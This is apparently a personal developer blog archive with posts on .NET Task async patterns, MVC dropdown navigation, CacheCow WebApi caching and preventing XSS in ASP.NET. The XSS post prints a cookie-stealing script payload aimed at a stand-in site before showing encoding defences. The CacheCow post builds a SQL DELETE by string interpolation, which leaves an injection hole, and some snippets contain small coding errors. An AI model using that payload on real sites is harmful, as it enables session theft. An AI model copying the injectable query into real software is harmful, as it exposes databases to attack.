Wednesday, 16 November 2016

.Net High Performance Part 3 :Yield the Result from First Task in set of tasks

One quick thing before I forget this method. If there are multiple Tasks which are executing in parallel, how to yield the result from the first one to finish ?

It is simple as stack them into an array and waiting to until the first one to finish. Following is the coding.

 

 Task tasks = {t1,t2,t3...}; // The Task Array 

 int index = tasks.WaitAny(tasks);

 return tasks[index].Result;



Sunday, 13 November 2016

.Net High Performance Part 2 : Create Facade Tasks for External I/O or API calls

In the earlier module , I have explained how to create a Task object and delegate the work responsibility to separate thread of the application. It is more or less identified as a code Task because there is a specific set of code that existing which is responsible for the parallel execution.

But, what if there is a situation where we do not have a specific code to execute parallel instated we have an API call or some I/O operation to execute and yield the result ? We can use the Facade Tasks to solve these kind of operations.

Following is a very simple example of how to write a Facade Task to make a parallel Async API call.

The Sample application is to download stock data from various stock data sources ( Yahoo,MSN and Nasdaq). We are going to call all these 3 sources and Yield results from the first source which would return data.


 
 Task t_yahoo = GetDataFromYahooAsync(symbol, numYearsOfHistory);
 Task t_nasdaq = GetDataFromNasdaqAsync(symbol, numYearsOfHistory);
 Task t_msn = GetDataFromMsnAsync(symbol, numYearsOfHistory);

 
 Task[] tasks = { t_yahoo, t_nasdaq, t_msn };
 int index = Task.WaitAny(tasks); // proceed when at least one Task is completed.

 Task winner = tasks[index];

 foreach (Task t in tasks)  // cancel outstanding requests:
  if (t != winner)
  (t.AsyncState as RequestState).Request.Abort();

 return winner.Result;


So the Async Methods are as follows 



 
private static Task GetDataFromYahooAsync(string symbol, int numYearsOfHistory)
{
   // Create the required URL 
   HttpWebRequest WebRequestObject = (HttpWebRequest)HttpWebRequest.Create(url);

   RequestState state = new RequestState(
    WebRequestObject,
    string.Format("http://finance.yahoo.com, daily Adj Close, {0} years", numYearsOfHistory),
    new char[] { ',' },
    6 /*Adj Close*/
   );
    IAsyncResult iar = WebRequestObject.BeginGetResponse(new AsyncCallback(WebResponseCallback), state);

    // create Task facade, containing asyncstate so we cancel if necessary:
    state.TaskSource = new TaskCompletionSource(iar.AsyncState);
    return state.TaskSource.Task;

}

The TaskCompletionSource is the important class here which is responsible for creating the Facade Task.

Friday, 11 November 2016

Prevent XSS Scripting in ASP.Net Web Forms

Hey Folks , Today I am going to start the series of Security blogging starting with XSS Vulnerability.

XSS is a popular attack for web sites where the attacker can exploit non-sanitized untrusted data inputs by the user. The untrusted data means the data cannot be controlled by the apply the applications it self. If we take following example :

http://mysite/search.aspx?name=mysearch

the term mysearch is un trusted because its is a user input. This is the place where an attacker can exploit the site by inputting  malicious Java script , html or even css. If not sanitized an attacker can easily steal cookies or other DOM elements from the browser and redirect them to any other site.

Following is an example to redirect a cookie into a malicious site.

<script>location.href='http://mycookirstealsite/steal.html'?cookie='%2Bdocument.cookie;'</script>

Preventing this is faily easy when it comes to the ASP.Net web forms. We can use the nugest package "antixss". Just add the package to your project and sanitize input as follows.

  <script type="text/javascript">
    var mysearch = <%= Microsoft.Security.Application.Encoder.JavaScriptEncode(Request.QueryString["mysearch"]) %>
  </script>

For the html encoding we can use the System.Web.Security.AntiXss in the code behind.

 
var searchTerm = Request.Unvalidated.QueryString["mysearch"];
      if (!Regex.IsMatch(searchTerm, @"^[\p{L} \.\-]+$"))
      {
        throw new ApplicationException("Search term is not allowed");
      }

      SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);

The other setting we can use is set the ValidateRequest attribute in the web.config to true. OR else we can use this in the page level as well in the @Page attribute.

Tuesday, 8 November 2016

.Net High Performance Part 1 : The Task Object for Async programming

Coming back to the blogging after long months of idling ( From blogging though :) ).

Ok guys, things would be going on in a different direction from this point  on wards and I would be concentrating on more focused areas rather than blogging everything I learn freshly.  So folks , the focused areas are HPC ( High Performance Computing )  on .Net and Secure Software Development ( Well, Security would be my future as I see it now :D )

The HPC mainly categorized into 2 areas such as Async programming and Parallel Programming. Async Programming mainly concerns about application responsiveness and improve user experience. Technically, fork high latency , blocking operations in to different app thread.

The Parallel programming mainly focusing on performance by reducing the time of CPU-bound computations.

 One way of achieving this Parallelism is using Tasks in the .Net realm. A Task is considered as a unit of work or an object denoting an ongoing operation or computation.

Following is the basic steps to create a Task object and delegate the computationally time consuming process into a different application thread.


 
using System.Threading.Tasks;

Task T = Task.Factory.StartNew(() =>
{
 Random rand = new Random();
 int start = System.Environment.TickCount;

 double result= Simulation.ComputeComplex(rand);

 int stop = System.Environment.TickCount;

 double elapsedTimeInSecs = (stop - start) / 1000.0;

 this.lblResult.Content = result.ToString();
        this.lblTimeTaken.Content = elapsedTimeInSecs.ToString();

}
);

This code would delegate the complex process execution to a different thread than the Application UI thread. But there is a problem. Accessing the lblResult from a non UI thread is illegal and throwing an exception. To counter this we need to create a ContinueWith block using the T object and let the UI content update after the complex operation thread.
 
using System.Threading.Tasks;

Task T = Task.Factory.StartNew(() =>
{
 Random rand = new Random();
 int start = System.Environment.TickCount;

 result= Simulation.ComputeComplex(rand);

 int stop = System.Environment.TickCount;

 elapsedTimeInSecs = (stop - start) / 1000.0;

 this.lblResult.Content = result.ToString();
        this.lblTimeTaken.Content = elapsedTimeInSecs.ToString();

}
);

T.ContinueWith((antecedent) =>
{
 this.lblResult.Content = result.ToString();
        this.lblTimeTaken.Content = elapsedTimeInSecs.ToString();

 
 TaskScheduler.FromCurrentSynchronizationContext()
);


Monday, 26 October 2015

MVC5 pass DroDownList Selected Item to controller using JavaScript Async



There are many methods where you can pass the selected Item in a Dropdownlist to a controller. Most common methods are Post requests to a controller where you pass the whole forms collection.

In this module , I need to view the Account report before I fill in the form data. So I cant use a HTTP Post here because the form data is not yet ready.

Following is a very simple way of accomplish this using Ajax and JS.


 
 function NavigateToReport() {
            var List = document.getElementById("AgencyId");
            var id = List.options[List.selectedIndex].value;

            var url = '@Url.Action("AgentAccount", "LocalAgencyAdditions", new { id = "__id__"})';
            window.location.href = url.replace('__id__', id);
        }

Just define a new Action Method in the controller.
 
 public async Task AgentAccount(int? id)
        {

            if (id != null)
                return RedirectToAction("AgentAccount", "Report", new { agentId = id, type = 2 });

            return RedirectToAction("Index");

        }

Wednesday, 21 October 2015

CacheCow: Invalidate cache for different resource routing

CacheCow is a great tool we can use In ASP.Net WebApi projects to maintain cache with SQL Server persistence.  You can view how to implement CacheCow with SQL Server in this post.

However, there is a problem in the default implementation of invalidating cache if we have different kind of GET requests.

eg : Assume our GET request is http://myhost/api/customers. So a POST, PUT,PATCH or DELETE requests for same request http://myhost/api/customers would invalidate the cache.

But what if we have different formations of GET requests.

Eg :

GET : http://myhost/api/customers_country/SriLanka

GET : http://myhost/api/customers_city/Colombo

So any update request to  http://myhost/api/customers would not invalidate cache of  aforementioned GET requests.

Following is a very simple way of invalidate cache based on the root routing value.

I'm using hard coded sql here because this is a separate entity to my other business entities.


 
 public class CacheCowHackService : ICacheCowHackService
    {
        public int InvalidateEntityCache(string parentPattern)
        {
            int noOfRowDeleted;
            using (var ctx = new MyContext())
            {
                //Delete command
                noOfRowDeleted = ctx.Database.ExecuteSqlCommand(
                    $"delete from CacheState where RoutePattern LIKE '%{parentPattern}%'");

            }
            return noOfRowDeleted;
        }
    }

What all we need to do is call this method when ever there is an update to a resource.
 
public VehicleViewModel Create(VehicleViewModel model)
        {
            var id = Guid.NewGuid();
            model.Id = id;

            using (var transactionScope = new TransactionScope())
            {
                ......
                var entity = VehicleMap.ModelToEntity(model);
               ....
                _vehicleService.Add(entity);
                entity = _vehicleService.GetSingle(x => x.Id == id);
                model = VehicleMap.EntityToModel(entity);
                CacheCowHack.InvalidateEntityCache(Const.VehicleRoute);
                transactionScope.Complete();
                return model;
            }
        }


Tuesday, 20 October 2015

WebApi Cache using CacheCow and SQL Server persistancy

I wrote how to implement in-memory cache in this post. But this solution is not good if we want to host our Api in a web farm or if we are going to use load balancing. The best approach is using DB persistence to hold the cache.

Fortunately, CacheCow gives us the SQL Server implementation. Following are the configurations we need to made in order to activate this.
Refer following NuGet into your project.

Install-Package CacheCow.Server.EntityTagStore.SqlServer

In the WebApiConfig.cs file add the following code.
 
 var connString = System.Configuration.ConfigurationManager.ConnectionStrings["Your_Conn_Str"].ConnectionString;
 var eTagStore = new SqlServerEntityTagStore(connString);  
 var cacheCowCacheHandler = new CachingHandler(config,eTagStore); 
 cacheCowCacheHandler.AddLastModifiedHeader = false;
 config.MessageHandlers.Add(cacheCowCacheHandler);

Now this code would not run as it is. Because we need to do required changes to the DB as well. The required sql scripts are getting download along with the NuGet package. Execute that script against your DB. It would create a table CacheState and other relevant procedures.

Now the CacheCow DB persistence is done.Lets shoot some Web API and requests and test results.

When we are doing our initial Get request to a WebApi resource, the fiddler looks like as follows. Check the  request and response headers .


you can clearly see that its responded with status 200 - Ok. Following is the status of the CacheState now.

You can clearly see that the ETag is created and saved in the DB.
If we are going to do the same GET request again, we would get the 304 from server.

You can clearly see that the request been made to the server with the ETag If-None-Match. Server get the ETag and responded with 304 Not Modified. So no need to get the resource back again. ie: Client has the latest version.